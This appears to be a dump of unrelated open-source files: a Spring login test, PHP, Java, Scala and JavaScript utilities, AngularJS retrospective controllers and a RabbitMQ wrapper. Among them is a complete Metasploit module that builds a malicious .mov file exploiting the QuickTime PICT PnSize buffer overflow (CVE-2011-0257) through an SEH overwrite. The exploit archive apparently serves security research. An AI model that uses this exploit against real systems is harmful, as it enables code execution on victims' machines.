import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.result.MockMvcResultMatchers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import org.springframework.web.context.WebApplicationContext;
import com.weheros.account.domain.Account;
import com.weheros.platform.test.AnnotationJUnitTest;
import com.weheros.platform.utils.ToJson;
/**
* @ClassName: AccountControllerTest
* @author Administrator
* @date 2014年4月26日 下午2:06:32
*/
public class AccountControllerTest extends AnnotationJUnitTest {
@Autowired
private WebApplicationContext wac;
private MockMvc mockMvc;
@Before
public void setup() {
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void testloginForMobile() throws Exception {
LoginRequest request=new LoginRequest();
Account account=new Account();
account.setAccount("10001");
account.setPassword("123456");
request.setBody(account);
Head head=new Head();
head.setSessionToken("");
head.setSignalType(1);//login request
head.setStatus(0);
request.setHead(head);
this.mockMvc.perform(post("/loginAPP.json")
.content(ToJson.toJson(request))
.contentType(APPLICATION_JSON_UTF8)
.accept(MediaType.APPLICATION_JSON))
.andDo(print())
.andExpect(status().isOk()); //302 Found is a common way of performing a redirection.
//.andExpect(MockMvcResultMatchers.jsonPath("message.code").value("200"));
}
}
| mit |
mlanser/prospect-mgr | src/Exceptions/CribbbException.php | 2058 | <?php
namespace Lanser\ProspectManager\Exceptions;
/**
* __
* ____ _________ _________ ___ _____/ /_ ____ ___ ____ ______
* / __ \/ ___/ __ \/ ___/ __ \/ _ \/ ___/ __/_____/ __ `__ \/ __ `/ ___/
* / /_/ / / / /_/ (__ ) /_/ / __/ /__/ /_/_____/ / / / / / /_/ / /
* / .___/_/ \____/____/ .___/\___/\___/\__/ /_/ /_/ /_/\__, /_/
* /_/ /_/ /____/
*
* INVALID (FUNCTION/METHOD) PARAMETER EXCEPTION Class.
*
* @package Toolbox
* @author Martin Lanser
* @email martin.lanser@gmail.com
* @copyright (c) 2015 Martin Lanser
* @link http://martinlanser.com
*/
use Exception;
abstract class CribbbException extends Exception
{
/**
* @var string
*/
protected $id;
/**
* @var string
*/
protected $status;
/**
* @var string
*/
protected $title;
/**
* @var string
*/
protected $detail;
/**
* @param @string $message
* @return void
*/
public function __construct($message)
{
parent::__construct($message);
}
/**
* Get the status
*
* @return int
*/
public function getStatus()
{
return (int) $this->status;
}
/**
* Return the Exception as an array
*
* @return array
*/
public function toArray()
{
return [
'id' => $this->id,
'status' => $this->status,
'title' => $this->title,
'detail' => $this->detail
];
}
/**
* Build the Exception
*
* @param array $args
* @return string
*/
protected function build(array $args)
{
$this->id = array_shift($args);
$error = config(sprintf('errors.%s', $this->id));
$this->title = $error['title'];
$this->detail = vsprintf($error['detail'], $args);
return $this->detail;
}
}
| mit |
badoualy/kotlogram | tl/src/main/java/com/github/badoualy/telegram/tl/api/TLPeerNotifyEventsAll.java | 885 | package com.github.badoualy.telegram.tl.api;
/**
* @author Yannick Badoual yann.badoual@gmail.com
* @see <a href="http://github.com/badoualy/kotlogram">http://github.com/badoualy/kotlogram</a>
*/
public class TLPeerNotifyEventsAll extends TLAbsPeerNotifyEvents {
public static final int CONSTRUCTOR_ID = 0x6d1ded88;
private final String _constructor = "peerNotifyEventsAll#6d1ded88";
public TLPeerNotifyEventsAll() {
}
@Override
public String toString() {
return _constructor;
}
@Override
public int getConstructorId() {
return CONSTRUCTOR_ID;
}
@Override
public final boolean isEmpty() {
return false;
}
@Override
public final boolean isNotEmpty() {
return true;
}
@Override
public final TLPeerNotifyEventsAll getAsPeerNotifyEventsAll() {
return this;
}
}
| mit |
AlexCAB/FreelanceAnalytics | src/sifters/odesk/apps/rescrape/RescrapeFailureParsedJobs.scala | 821 | package sifters.odesk.apps.rescrape
import java.util.Date
import sifters.odesk.apps.SimpleSifter
import sifters.odesk.db.ODeskSiftersDBProvider
import util.structures.{FoundJobsRow, FoundBy}
/**
* This tool take URLs from 'odesk_excavators_error_pages' and add they to 'odesk_found_jobs' to repeat scraping
* Created by CAB on 03.11.2014.
*/
object RescrapeFailureParsedJobs extends SimpleSifter("RescrapeFailureParsedJobs:"){def sift(db:ODeskSiftersDBProvider) = {
//Date
val cd = new Date
//Get jobs
val jobsUrl = db.getUrlOfWrongParsedJobs
println(" Found " + jobsUrl.size + " wrong parsed jobs.")
//Prepare
val preparedJobs = buildFoundJobsByURL(jobsUrl)
//Add to found table
val nAdded = db.addFoundJobsRows(preparedJobs)
println(" Added " + nAdded + " wrong parsed jobs to rescrape")}}
| mit |
lizhaobomb/RNNYT | src/config/onboarding.js | 682 | import {
ACCENT_COLORS,
MUTED_COLOR,
TEXT_COLOR
} from '../styles/global'
const placeholderImage = 'https://placeholdit.imgix.net/' +
'~text?txtsize=24' +
`&bg=${MUTED_COLOR.replace('#', '')}` +
`&txtclr=${TEXT_COLOR.replace('#', '')}` +
'&w=350&h=350&txttrack=0&txt=Placeholder+Image+'
const content = [
'Welcome to RNNYT!',
'With this app, you can learn all about the news!',
'And you get to experiment with React Native!',
'And arenot animations fun?!'
]
export default content.map((message, i) => ({
message,
color: '#fff',
backgroundColor: ACCENT_COLORS[i % ACCENT_COLORS.length],
uri: `${placeholderImage}${i + 1}`
}))
| mit |
TCSAgile/AgileToolKit | public/modules/retrodea/controllers/retro.client.controller.js | 15418 |
// Declare controllers as module with a controller
//var AppControllers = angular.module('AppControllers',[]);
//AppControllers.controller('ProjectController',function($scope,$location,$cookieStore,$resource,$routeParams,Project,Retro,$rootScope){
angular.module('retro').controller('ProjectController', ['$scope', '$state', '$location', '$cookieStore', '$resource', '$routeParams', 'Project', 'Retro', '$rootScope', '$interval','sweet',
function ($scope,$state,$location,$cookieStore,$resource,$routeParams,Project,Retro,$rootScope,$interval,sweet){
var href = $location.$$path;
var key = href.substr(href.lastIndexOf('/') + 1);
console.log(key);
var currUser = $cookieStore.get('currUser');
$scope.retro = new Retro();
$scope.retro = $resource("/api/retros/"+key).get();//Project.show({ id: key });
$scope.projectURI = $location.$$absUrl;
$rootScope.created = false;
$rootScope.createdTeam = false;
if(key != "home" && key != "retro" && key != "enter" && key != "")
$rootScope.key = key;
console.log($scope.projectURI);
$scope.projects = Project.index();
console.log($scope.projects);
$scope.project = new Project();
//functions to handle projects
$scope.addProject = function(){
console.log("submit");
function success(response) {
console.log("success", response)
$scope.project = response;
$scope.addRetro(response);
$rootScope.createdTeam = true;
}
function failure(response) {
console.log("failure", response);
}
console.log("project data is:"+$scope.project);
Project.create($scope.project, success, failure);
//$scope.project = '';
$rootScope.created = true;
}
$scope.editProject = function(){
function success(response) {
console.log("success", response)
//$location.path("/projects");
}
function failure(response) {
console.log("failure", response);
}
//Project.update($scope.project, success, failure);
//Project.update(key, success, failure);
/*if((($rootScope.count == undefined) ? 0 : $rootScope.count) <= 0
&& $rootScope.key != "undefined" && $rootScope.key != "")
{
$location.path("/home/" + $rootScope.key);
}*/
//$location.path("/retro/" + $rootScope.key);
}
$scope.deleteProject = function(project){
function success(response) {
console.log("success", response)
$location.path("/projects");
}
function failure(response) {
console.log("failure", response);
}
Project.destroy(project, success, failure);
}
$scope.showRetro = function(id){
console.log("project id is :"+id);
//Commented for testing purpose
$location.path("/retro/"+id);
}
// Functions to hanle retros
$scope.addRetro = function(project){
console.log("submit");
var retro = new Retro();
retro.name = project.name;
retro.fullName = project.fullName;
retro.owner = project.userEmail;
retro.participants = [];
retro.participants.push({
name:project.fullName,
email:project.userEmail
})
function success(response) {
console.log("success", response)
// Add retro to the retros array for project
$scope.project.retros.push(response);
//console.log("tryind to add retros to project");
//console.log($scope.project);
$scope.editProject();
$cookieStore.put('currUser',project.userEmail);
$cookieStore.put('firstLoad',true);
//$location.path("/home/"+response._id);
//$location.path("/retro/"+response._id);
$state.go('retro1',{projectKey: response._id});
}
function failure(response) {
console.log("failure", response);
}
console.log("project data is:"+$scope.project);
Retro.create(retro, success, failure);
retro = '';
}
}
]);
//AppControllers.controller('RetroController',function($routeParams,$scope,$location,$cookieStore,$route,$resource,Project,Retro,socket,$rootScope){
//CREATE A FIREBASE
angular.module('retro').controller('RetroController', ['$scope', '$state', '$location', '$cookieStore', '$resource', '$routeParams', 'Project', 'Retro', '$rootScope', '$interval','sweet', '$route', 'socket',
function ($scope,$state,$location,$cookieStore,$resource,$routeParams,Project,Retro,$rootScope,$interval,sweet,$route,socket){
var href = $location.$$path;
//console.log($location);
var key = href.substr(href.lastIndexOf('/') + 1);
console.log(key);
var currUser = $cookieStore.get('currUser');
$scope.retro = new Retro();
$scope.retro = $resource("/api/retros/"+key).get();//Project.show({ id: key });
$scope.projectURI = $location.$$absUrl;
if(key != "home" && key != "retro" && key != "enter" && key != "" && key != "undefined")
{
$rootScope.key = key;
}
//$scope.project = Project.show({ id: key });
console.log($scope.retro);
//$scope.project = $scope.aproject.retros;
var currUser = $cookieStore.get('currUser');
$scope.projectURI = $location.$$absUrl;
var x = $cookieStore.get('firstLoad');
/*if(x===undefined || x==null){
$scope.firstLoad = false;
}else{
$scope.firstLoad = true;
}*/
console.log(currUser);
if(currUser===undefined || currUser==null){
$scope.userloggedIn = false;
}else{
$scope.userloggedIn = true;
$scope.firstLoad = true;
}
if($rootScope.addedUser === undefined)
$rootScope.addedUser = false;
if(key != "home" && key != "retro" && key != "enter" && key != "" && key != "undefined" && !$rootScope.addedUser
&& (!$rootScope.createdTeam || $rootScope.createdTeam === undefined))
{
$rootScope.key = key;
$scope.firstLoad = false;
$scope.userloggedIn = false;
}
$scope.editRetro = function(){
function success(response) {
console.log("success", response)
//$location.path("/retro/projects");
socket.emit('updated',{hello:'word'});
}
function failure(response) {
console.log("failure", response);
}
Retro.update($scope.retro, success, failure);
}
$scope.addParticipant = function(){
var allParticipants;
console.log(allParticipants);
//console.log("index is :"+allParticipants.indexOf("er.vipindubey@gmail.com"));
var check = false;
$scope.retro.$promise.then(function(){
allParticipants = $scope.retro.participants;
console.log(allParticipants);
$.each(allParticipants, function( index, value ) {
console.log(value.email);
if(value.email==$scope.newUserEmail){
console.log("User is already a participant");
check = true;
}
});
if(check){
$cookieStore.put('currUser',$scope.newUserEmail);
//$cookieStore.put('currUserName',$scope.newFullName);
//$route.reload();
$state.transitionTo($state.current, $rootScope.key, {
reload: true,
inherit: true,
notify: true
});
}else{
$scope.add();
}
$rootScope.addedUser = true;
});
//add a user only if he does not exist for the project as a participant
$scope.add = function(){
console.log("Adding new user as a participant");
$scope.retro.participants.push({
name:$scope.newUser,
email:$scope.newUserEmail
});
$cookieStore.put('currUser',$scope.newUserEmail);
$scope.editRetro();
$route.reload();
}
}
$scope.addTextArea = function(value){
if(value=='add-like'){
$('.input-likes').show();
}else if(value=='add-dislike'){
$('.input-dislikes').show();
}else{
$('.input-suggestions').show();
}
}
$scope.addLike = function(event){
if(event.which == 13 || event.keyCode == 13){
//console.log('Enter key pressed:'+$scope.newLike);
$scope.retro.likes.push({
content:$scope.newLike,
count:'0',
});
nLike.value = '';
$scope.newLike ='';
$('.input-likes').hide();
$scope.editRetro();
}
}
$scope.editLike = function(id){
var newContent = prompt('Enter new content');
if(newContent && newContent.length>0){
$scope.retro.likes[id].content = newContent;
$scope.editRetro();
}
}
$scope.deleteLike = function(id){
$scope.retro.likes.splice(id,1);
$scope.editRetro();
}
// Controllers for Dislike
$scope.addDislike = function(event){
if(event.which == 13 || event.keyCode == 13){
//console.log('Enter key pressed:'+$scope.newDislike);
$scope.retro.dislikes.push({
content:$scope.newDislike,
count:'0'
});
nDislike.value = '';
$scope.newDislike='';
$('.input-dislikes').hide();
$scope.editRetro();
}
}
$scope.editDislike = function(id){
var newContent = prompt('Enter new content');
if(newContent && newContent.length>0){
$scope.retro.dislikes[id].content = newContent;
$scope.editRetro();
}
}
$scope.deleteDislike = function(id){
$scope.retro.dislikes.splice(id,1);
$scope.editRetro();
}
// Controllers for Suggestions
$scope.addSuggestion = function(event){
if(event.which == 13 || event.keyCode == 13){
//console.log('Enter key pressed:'+$scope.newDislike);
$scope.retro.suggestions.push({
content:$scope.newSuggestion,
count:'0'
});
nSuggestion.value = '';
$scope.newSuggestion='';
$('.input-suggestions').hide();
$scope.editRetro();
}
}
$scope.editSuggestion = function(id){
var newContent = prompt('Enter new content');
if(newContent && newContent.length>0){
$scope.retro.suggestions[id].content = newContent;
$scope.editRetro();
}
}
$scope.deleteSuggestion = function(id){
$scope.retro.suggestions.splice(id,1);
$scope.editRetro();
}
$scope.countOf = function(text) {
var s = text ? text.split(/\s+/) : 0; // it splits the text on space/tab/enter
return s ? s.length : '';
};
$scope.addLikeCount = function(id,section,like_id){
var ref
if(section=='like-section'){
ref = $scope.retro.likes[id];
}else if(section=='dislike-section'){
ref = $scope.retro.dislikes[id];
}else{
ref = $scope.retro.suggestions[id];
}
var count = ref.count;
var newCount =0;
// console.log("record has count", record.count);
var oldCount = count;
newCount =parseInt(oldCount) + 1;
ref.count = newCount;
$scope.editRetro();
newCount = 0;
var imgClass = '.'+like_id;
$(imgClass).children().attr("src","modules/retrodea/images/icons/16/heart-full.png");
$(imgClass).addClass('avoid-clicks');
}
$scope.closeShare = function(){
$cookieStore.remove('firstLoad');
}
socket.on('RetroUpdated', function (d) {
$resource("/api/retros/"+key).get().$promise.then(function (result) {
$scope.retro = result;
});
//console.log("socket emit recieved from server");
});
//just playing
/*$scope.addLikeButton = function(){
$('.inputs').html('<input id="nLike" placeholder="What did you like" ng-keypress="addLike($event)" ng-model="newLike" autofocus/>');
}*/
}
]);
| mit |
eleks-front-end/evowl-cqrs | cqrs/core/rabbit-mq-rpc/RabbitMQChannel.js | 7138 | import {RabbitMQExchange} from './RabbitMQExchange';
import {RabbitMQQueue} from './RabbitMQQueue';
import {RabbitMQMessage} from './RabbitMQMessage';
/**
* Represents entity of Rabbit MQ channel
*/
export class RabbitMQChannel {
/**
*
* @param {string} name
* @param {object} channel
*/
constructor (name, channel) {
this._name = name;
this._channel = channel;
this._exchange = null;
this._queues = [];
}
/**
*
* @type {string}
*/
get name () {
return this._name;
}
/**
*
* @type {string}
*/
get exchange () {
return this._exchange;
}
/**
* Check if channel has exchange
* @type {boolean}
*/
get hasExchange () {
return this._exchange !== null;
}
/**
* Add queue to the channel
* @param {RabbitMQQueue} queue
* @private
*/
_registerQueue (queue) {
this._queues.push(queue);
}
/**
* Assert exchange for channel
* @param {RabbitMQExchange} exchange
* @returns {Promise.<RabbitMQChannel>}
*/
assertExchange (exchange) {
if (this.hasExchange && this.exchange.isActive) {
throw new Error(`This channel (${this.name}) already has active exchange`);
}
this._exchange = exchange;
return this._channel.assertExchange(exchange.name, exchange.type, exchange.options).then(
ok => {
this.exchange.confirmAssertion();
return this;
},
error => {throw error}
);
}
/**
* Assert exchange with type=topic
* @param exchangeName
* @returns {Promise.<RabbitMQChannel>}
*/
assertDirectExchange (exchangeName) {
return this.assertExchange(new RabbitMQExchange(exchangeName, RabbitMQExchange.DIRECT));
}
/**
* Assert queue
* @param {RabbitMQQueue} queue
* @returns {Promise.<{channel: RabbitMQChannel, queue:RabbitMQQueue}>}
*/
assertQueue (queue) {
return this._channel.assertQueue(queue.name, queue.options).then(
q => {
queue.confirmAssertion(q);
this._registerQueue(queue);
return {
channel: this,
queue: queue
};
},
error => { throw error }
);
}
/**
* Assert queue with parameter exclusive=true
* @param {string} name
* @returns {Promise.<{channel:RabbitMQChannel,queue:RabbitMQQueue}>}
*/
assertExclusiveQueue (name) {
const queue = new RabbitMQQueue(name).makeExclusive();
return this.assertQueue(queue);
}
/**
* Assert queue with parameters exclusive=true and autoDelete=true
* @param name
* @returns {Promise.<RabbitMQQueue>}
*/
assertExclusiveAutoDeleteQueue (name) {
const queue = new RabbitMQQueue(name).makeExclusive().makeAutoDeleted();
return this.assertQueue(queue);
}
/**
* Acknowledge message
* @param msg
* @returns {Promise.<RabbitMQChannel>}
*/
acknowledge (msg) {
return this._channel.ack(msg)
.then(
ok => this,
error => { throw error }
);
}
/**
* Bind pattern to queue
* @param {RabbitMQQueue} queue
* @param {string} pattern
* @returns {Promise.<{channel: RabbitMQChannel, queue:RabbitMQQueue}>}
*/
bindQueue (queue, pattern) {
return this._channel.bindQueue(queue.name, this.exchange.name, pattern)
.then(
ok => {
return {
channel: this,
queue: queue
}
},
error => { throw error() }
);
}
/**
* Delete queue
* @param {RabbitMQQueue} queue
* @returns {Promise.<{RabbitMQChannel}>}
*/
deleteQueue (queue) {
return this._channel.deleteQueue(queue.name)
.then(
ok => this,
error => { throw error }
);
}
/**
* Bind message handler to queue
* @param queue
* @param handler
* @param options
* @returns {Promise.<{channel: RabbitMQChannel, queue: RabbitMQQueue}>}
*/
consume (queue, handler, options) {
return this._channel.consume(queue.name, msg => {
// in some cases we receive null messages
// on ampqlib page we can see example with such verification: https://www.npmjs.com/package/amqplib
// it looks like trash messages and we don't need to process them
if (msg === null) {
return;
}
handler(new RabbitMQMessage(msg));
}, options)
.then(
ok => {
return {
channel: this,
queue: queue
}
},
error => { throw error }
);
}
/**
* Alias for consume. Bind message handler to queue
* @param {RabbitMQQueue} queue
* @param {Function} handler
* @returns {Promise.<{channel: RabbitMQChannel, queue: RabbitMQQueue}>}
*/
handleQueue (queue, handler) {
return this.consume(queue, handler, {noAck: false});
}
/**
* Bind message to queue with option noAck=true
* @param queue
* @param handler
* @returns {Promise.<{channel: RabbitMQChannel, queue: RabbitMQQueue}>}
*/
handleQueueNoAck (queue, handler) {
return this.consume(queue, handler, {noAck: true})
.then(
ok => {
return {
channel: this,
queue: queue
}
},
error => { throw error }
);
}
/**
* Alias for bind queue. Bind pattern to queue.
* @param {RabbitMQQueue} queue
* @param {string} pattern
* @returns {Promise.<{channel: RabbitMQChannel, queue: RabbitMQQueue}>}
*/
filterByPattern (queue, pattern) {
return this.bindQueue(queue, pattern);
}
/**
* Execute operation remotely
* @param {string} operationName
* @param {Object} operationData
* @param {string} correlationId
* @param {string} replyTo
* @param {{contentType:string}} options
* @returns {Promise}
*/
publish (operationName, operationData, correlationId, replyTo, {contentType = 'application/json'} = {}) {
return this._channel.publish(this.exchange.name,
operationName,
//TODO: Think if we wait for string or some type of Object
new Buffer(operationData),
{ correlationId: correlationId, replyTo: replyTo, contentType: contentType }
);
}
/**
* Reply answer fo executed operation
* @param replyTo
* @param data
* @param correlationId
* @returns {*}
*/
reply (replyTo, data, correlationId) {
return this._channel.sendToQueue(replyTo, new Buffer(data), {correlationId: correlationId});
}
} | mit |
MylesIsCool/ViaVersion | api/src/main/java/com/viaversion/viaversion/util/PipelineUtil.java | 6008 | /*
* This file is part of ViaVersion - https://github.com/ViaVersion/ViaVersion
* Copyright (C) 2016-2021 ViaVersion and contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package com.viaversion.viaversion.util;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelPipeline;
import io.netty.handler.codec.ByteToMessageDecoder;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.handler.codec.MessageToMessageDecoder;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
public class PipelineUtil {
private static Method DECODE_METHOD;
private static Method ENCODE_METHOD;
private static Method MTM_DECODE;
static {
try {
DECODE_METHOD = ByteToMessageDecoder.class.getDeclaredMethod("decode", ChannelHandlerContext.class, ByteBuf.class, List.class);
DECODE_METHOD.setAccessible(true);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
try {
ENCODE_METHOD = MessageToByteEncoder.class.getDeclaredMethod("encode", ChannelHandlerContext.class, Object.class, ByteBuf.class);
ENCODE_METHOD.setAccessible(true);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
try {
MTM_DECODE = MessageToMessageDecoder.class.getDeclaredMethod("decode", ChannelHandlerContext.class, Object.class, List.class);
MTM_DECODE.setAccessible(true);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
/**
* Call the decode method on a netty ByteToMessageDecoder
*
* @param decoder The decoder
* @param ctx The current context
* @param input The packet to decode
* @return A list of the decoders output
* @throws InvocationTargetException If an exception happens while executing
*/
public static List<Object> callDecode(ByteToMessageDecoder decoder, ChannelHandlerContext ctx, Object input) throws InvocationTargetException {
List<Object> output = new ArrayList<>();
try {
PipelineUtil.DECODE_METHOD.invoke(decoder, ctx, input, output);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return output;
}
/**
* Call the encode method on a netty MessageToByteEncoder
*
* @param encoder The encoder
* @param ctx The current context
* @param msg The packet to encode
* @param output The bytebuf to write the output to
* @throws InvocationTargetException If an exception happens while executing
*/
public static void callEncode(MessageToByteEncoder encoder, ChannelHandlerContext ctx, Object msg, ByteBuf output) throws InvocationTargetException {
try {
PipelineUtil.ENCODE_METHOD.invoke(encoder, ctx, msg, output);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
public static List<Object> callDecode(MessageToMessageDecoder decoder, ChannelHandlerContext ctx, Object msg) throws InvocationTargetException {
List<Object> output = new ArrayList<>();
try {
MTM_DECODE.invoke(decoder, ctx, msg, output);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return output;
}
/**
* Check if a stack trace contains a certain exception
*
* @param t The throwable
* @param c The exception to look for
* @return True if the stack trace contained it as its cause or if t is an instance of c.
*/
public static boolean containsCause(Throwable t, Class<?> c) {
while (t != null) {
if (c.isAssignableFrom(t.getClass())) {
return true;
}
t = t.getCause();
}
return false;
}
/**
* Get the context for a the channel handler before a certain name.
*
* @param name The name of the channel handler
* @param pipeline The pipeline to target
* @return The ChannelHandler before the one requested.
*/
public static ChannelHandlerContext getContextBefore(String name, ChannelPipeline pipeline) {
boolean mark = false;
for (String s : pipeline.names()) {
if (mark) {
return pipeline.context(pipeline.get(s));
}
if (s.equalsIgnoreCase(name))
mark = true;
}
return null;
}
public static ChannelHandlerContext getPreviousContext(String name, ChannelPipeline pipeline) {
String previous = null;
for (String entry : pipeline.toMap().keySet()) {
if (entry.equals(name)) {
return pipeline.context(previous);
}
previous = entry;
}
return null;
}
}
| mit |
PiLogic/ScoreboardStats | src/main/java/com/github/games647/scoreboardstats/variables/LegacyReplaceWrapper.java | 1496 | package com.github.games647.scoreboardstats.variables;
import com.google.common.collect.Lists;
import java.util.List;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
/**
* Represents a wrapper in order to support the usage of the old Replaceable
*/
@SuppressWarnings("deprecation")
public class LegacyReplaceWrapper extends VariableReplaceAdapter<Plugin> {
private final Replaceable oldReplacer;
private List<String> variables = Lists.newArrayList();
public LegacyReplaceWrapper(Plugin plugin, Replaceable oldReplacer) {
super(plugin);
this.oldReplacer = oldReplacer;
}
@Override
public List<String> getVariables() {
return variables;
}
@Override
@SuppressWarnings("deprecation")
public void onReplace(Player player, String variable, ReplaceEvent replaceEvent) {
final int scoreValue = oldReplacer.getScoreValue(player, '%' + variable + '%');
if (scoreValue != Replaceable.UNKOWN_VARIABLE) {
replaceEvent.setScore(scoreValue);
}
}
@Override
public int hashCode() {
//make it possible to remove them using the Replaceable instance
return oldReplacer.hashCode();
}
@Override
public boolean equals(Object other) {
//make it possible to remove them using the Replaceable instance
return oldReplacer.equals(other);
}
@Override
public String toString() {
return oldReplacer.toString();
}
}
| mit |
JDownloader/GEL-3014_Design3 | questionanswering/filters/national_symbol_filter.py | 896 | from questionanswering import bidictionnary
import nltk
def process(question, query_builder):
mapped_question = next(question)
if ('national' in mapped_question) & ('symbol' in mapped_question):
national_symbols = extract_national_symbol(mapped_question)
query_builder.with_category_data('national symbol', ' '.join(national_symbols))
yield mapped_question
def extract_national_symbol(mappedSentence):
sentence = mappedSentence.items()
grammar = "NP: {<DT> <NN>*<NN>}"
parser = nltk.RegexpParser(grammar)
result = parser.parse(sentence)
for subtree in result.subtrees():
if subtree.label() == 'NP':
target_tree = dict(subtree.leaves())
if ('The' in target_tree) | ('the' in target_tree):
reverse_dict = bidictionnary.Bidict(target_tree)
return reverse_dict.keys_with_value('NN') | mit |
Matthew-Davey/EasyNetQ.Migrations | EasyNetQ.Migrations.ExampleMigrations/Properties/AssemblyInfo.cs | 1450 | using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("EasyNetQ.Migrations.ExampleMigrations")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("EasyNetQ.Migrations.ExampleMigrations")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("5ce3213b-a1f8-4fe7-913e-e123c9b4b789")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| mit |
hahwul/mad-metasploit | archive/exploits/windows/local/17777.rb | 2547 | ##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime PICT PnSize Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
When opening a .mov file containing a specially crafted PnSize value, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 13691 $',
'References' =>
[
[ 'CVE', '2011-0257' ],
[ 'BID', '49144' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
],
'Privileged' => false,
'DisclosureDate' => 'Aug 8 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
], self.class)
end
def exploit
trigger = rand_text_alpha_upper(3324)
trigger[2302, 8] = generate_seh_record(target.ret)
trigger[2310, payload.encoded.size] = payload.encoded
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
fd = File.open(path, "rb" )
sploit = fd.read(fd.stat.size)
fd.close
sploit << trigger
file_create(sploit)
end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt
Opcode Name Description Data Size (in bytes)
$0007 PnSize pen size (point) 4 | mit |
arvarghese/photo-tiles | assets/js/photo-tiles.spec.js | 143 | describe('PhotoTiles spec', function () {
it('PhotoTiles.js loaded', function () {
expect(!!PhotoTiles).toEqual(true);
});
});
| mit |
deklungel/iRulez | website/irulez/src/components/admin_menu/ValueService.js | 3456 | import AuthService from '../AuthService';
export default class ValueService {
constructor() {
this.Auth = new AuthService();
}
Get_Trigger_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_TRIGGERS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Groups_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_GROUPS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Template_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_TEMPLATE)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Menu_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_MENUS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_OutputType_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_OUTPUTTYPE)
.then(result => {
resolve(result.response);
})
.catch(err => {
